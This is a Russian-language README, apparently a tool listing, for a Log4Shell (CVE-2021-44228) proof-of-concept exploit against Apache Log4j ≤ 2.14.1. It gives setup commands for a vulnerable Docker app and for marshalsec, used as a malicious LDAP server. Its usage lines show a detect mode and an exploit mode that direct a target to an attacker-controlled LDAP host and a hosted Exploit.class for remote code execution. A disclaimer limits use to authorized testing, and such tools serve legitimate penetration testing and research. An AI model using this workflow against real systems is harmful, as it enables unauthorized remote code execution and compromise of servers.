Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

Эксплойт для проверки критической уязвимости Log4Shell в Apache Log4j ≤ 2.14.1, позволяющий удалённое выполнение кода через JNDI-инъекции.

⚠️ Данный PoC предназначен только для образовательных целей и контролируемого тестирования в авторизованных средах. Не используйте его против систем без явного разрешения.

Требования

• Python 3.x
• Java 8 или выше
• marshalsec (для вредоносного LDAP-сервера)
• HTTP-сервер (например, python3 -m http.server)
• Docker (опционально, для уязвимого окружения)

Локальная тестовая среда (опционально, с Docker)

1. Запустите уязвимое приложение:

   root@kitploit:~

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
   

2. Перейдите по адресу: http://localhost:8080

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Использование

Режим пассивного обнаружения:

python3 main.py -u http://target.com -i burp.collab.net -m detect

Режим атаки (требуется Exploit.class на вашем HTTP-сервере):

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit